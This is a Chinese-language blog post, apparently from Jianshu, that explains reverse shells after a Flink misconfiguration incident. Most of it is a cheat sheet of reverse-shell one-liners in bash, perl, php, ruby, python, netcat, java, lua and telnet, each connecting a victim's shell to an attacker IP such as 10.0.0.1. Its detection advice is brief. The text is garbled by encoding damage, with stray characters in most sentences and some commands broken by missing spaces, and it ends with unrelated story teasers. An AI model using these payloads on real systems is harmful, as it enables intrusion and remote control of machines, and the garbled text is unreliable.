Shell反彈

背景

前段時(shí)間因?yàn)槭褂肍link默認(rèn)配置,沒(méi)有禁用通過(guò)web上傳jar包提交作業(yè)的功能,同時(shí)服務(wù)器配有公網(wǎng)地址,也沒(méi)有對(duì)相應(yīng)的端口配置防火墻盯捌,導(dǎo)致任意用戶可以通過(guò)Flink上傳jar包執(zhí)行任務(wù),并伴有反彈shell獲取shell權(quán)限的風(fēng)險(xiǎn)蘑秽。在此總結(jié)一下反彈shell饺著,加深理解。

反彈shell的作用

通常攻擊者在自己的機(jī)器去連接目標(biāo)機(jī)器(目標(biāo)IP:目標(biāo)機(jī)器端口)肠牲,叫做正向連接幼衰。如遠(yuǎn)程桌面,web服務(wù)缀雳,ssh渡嚣,telnet等等。然而在以下情況時(shí)肥印,正向連接不大適用:

1. 某客戶機(jī)中了你的網(wǎng)馬识椰,但是它在局域網(wǎng)內(nèi),你直接連接不了深碱。

2. 它的IP會(huì)動(dòng)態(tài)改變腹鹉,你不能持續(xù)控制。

3. 由于防火墻等限制莹痢,對(duì)方機(jī)器只能發(fā)送請(qǐng)求种蘸,不能接收請(qǐng)求。

4. 對(duì)于病毒竞膳,木馬航瞭,受害者什么時(shí)候能中招,對(duì)方的網(wǎng)絡(luò)環(huán)境是什么樣的坦辟,什么時(shí)候開(kāi)關(guān)機(jī)刊侯,都是未知,所以建立一個(gè)服務(wù)端锉走,讓惡意程序主動(dòng)連接滨彻,才是上策。

那么反彈就很好理解了挪蹭, 攻擊者指定服務(wù)端亭饵,受害者主機(jī)主動(dòng)連接攻擊者的服務(wù)端程序,就叫反彈連接梁厉。

反彈shell的本質(zhì)

當(dāng)目標(biāo)機(jī)器主動(dòng)連接攻擊者機(jī)器時(shí)辜羊,要實(shí)現(xiàn)對(duì)遠(yuǎn)程機(jī)器的操控,其實(shí)就是兩臺(tái)機(jī)器的通信词顾,本質(zhì)上在目標(biāo)機(jī)器上多了對(duì)通信信息的執(zhí)行過(guò)程八秃。在linux中有各種重定向的功能,目標(biāo)機(jī)器通過(guò)設(shè)置對(duì)通信內(nèi)容進(jìn)行交互執(zhí)行即完成shell反彈肉盹。如下示例:

攻擊機(jī)器上執(zhí)行:

nc -lvp 2333

受害機(jī)器上執(zhí)行:

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

bash -i 表示產(chǎn)生交互式的shell昔驱,/dev/tcp|udp/ip/port 這個(gè)文件是特別特殊的,實(shí)際上可以將其看成一個(gè)設(shè)備上忍,如果你在一方監(jiān)聽(tīng)端口的情況下對(duì)這個(gè)文件進(jìn)行讀寫(xiě)骤肛,就能實(shí)現(xiàn)與監(jiān)聽(tīng)端口的服務(wù)器的socket通信。

>&表示將標(biāo)準(zhǔn)輸出和錯(cuò)誤輸出都重定向至指定文件睡雇,0>&1表示標(biāo)準(zhǔn)輸入重定向至標(biāo)準(zhǔn)輸出萌衬。因此,受害機(jī)器上的標(biāo)準(zhǔn)輸入將通過(guò)/dev/tcp/192.168.146.129/2333文件讀取并執(zhí)行它抱,標(biāo)準(zhǔn)輸出和錯(cuò)誤輸出將寫(xiě)入/dev/tcp/192.168.146.129/2333文件秕豫。完成了shell的反彈效果。

多種反彈shell命令

本機(jī)開(kāi)啟監(jiān)聽(tīng):

nc -lvnp 4444

目標(biāo)機(jī)器開(kāi)啟反彈

bash版本:

bash-i >& /dev/tcp/10.0.0.1/4444 0>&1

perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc版本:

nc -e /bin/sh10.0.0.1 1234

rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

NC版本不使用-e參數(shù):

mknod/tmp/backpipep

/bin/sh0</tmp/backpipe| nc x.x.x.x 4444 1>/tmp/backpipe

?/bin/bash-i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

?mknodbackpipe p && telnet 173.214.173.151 8080 0backpipe

檢測(cè)及預(yù)防

檢測(cè)shell反彈的總體思路如下:

1. 及時(shí)發(fā)現(xiàn)Bash進(jìn)程啟動(dòng)事件观蓄。

2. 檢查Bash進(jìn)程是否打開(kāi)了終端設(shè)備混移,是否有主動(dòng)對(duì)外連接。

總結(jié)

不管采用何種方式反彈shell都是受害機(jī)器主動(dòng)連接攻擊機(jī)器侮穿,采用socket進(jìn)行通信并交互執(zhí)行歌径。受害機(jī)器需要配好防火墻,限制端口亲茅,防范攻擊者植入反彈shell程序回铛,當(dāng)檢測(cè)出漏洞無(wú)法確定時(shí)及時(shí)備份數(shù)據(jù)重裝系統(tǒng)狗准。

參考鏈接

https://xz.aliyun.com/t/2549

http://ijianbian.com/home/post/detail?id=6202977

https://4hou.win/wordpress/?p=25737

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市茵肃,隨后出現(xiàn)的幾起案子腔长,更是在濱河造成了極大的恐慌,老刑警劉巖验残,帶你破解...
    沈念sama閱讀 219,110評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件捞附,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡您没,警方通過(guò)查閱死者的電腦和手機(jī)鸟召,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,443評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)氨鹏,“玉大人欧募,你說(shuō)我怎么就攤上這事∑偷郑” “怎么了槽片?”我有些...
    開(kāi)封第一講書(shū)人閱讀 165,474評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)肢础。 經(jīng)常有香客問(wèn)我还栓,道長(zhǎng),這世上最難降的妖魔是什么传轰? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,881評(píng)論 1 295
  • 正文 為了忘掉前任剩盒,我火速辦了婚禮,結(jié)果婚禮上慨蛙,老公的妹妹穿的比我還像新娘辽聊。我一直安慰自己,他們只是感情好期贫,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,902評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布跟匆。 她就那樣靜靜地躺著,像睡著了一般通砍。 火紅的嫁衣襯著肌膚如雪玛臂。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,698評(píng)論 1 305
  • 那天封孙,我揣著相機(jī)與錄音迹冤,去河邊找鬼。 笑死虎忌,一個(gè)胖子當(dāng)著我的面吹牛泡徙,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播膜蠢,決...
    沈念sama閱讀 40,418評(píng)論 3 419
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼堪藐,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼莉兰!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起礁竞,我...
    開(kāi)封第一講書(shū)人閱讀 39,332評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤贮勃,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后苏章,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,796評(píng)論 1 316
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡奏瞬,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,968評(píng)論 3 337
  • 正文 我和宋清朗相戀三年枫绅,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片硼端。...
    茶點(diǎn)故事閱讀 40,110評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡并淋,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出珍昨,到底是詐尸還是另有隱情县耽,我是刑警寧澤,帶...
    沈念sama閱讀 35,792評(píng)論 5 346
  • 正文 年R本政府宣布镣典,位于F島的核電站兔毙,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏兄春。R本人自食惡果不足惜澎剥,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,455評(píng)論 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望赶舆。 院中可真熱鬧哑姚,春花似錦、人聲如沸芜茵。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,003評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)九串。三九已至绞佩,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間猪钮,已是汗流浹背征炼。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,130評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留躬贡,地道東北人谆奥。 一個(gè)月前我還...
    沈念sama閱讀 48,348評(píng)論 3 373
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像拂玻,于是被迫代替她去往敵國(guó)和親酸些。 傳聞我的和親對(duì)象是個(gè)殘疾皇子宰译,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,047評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容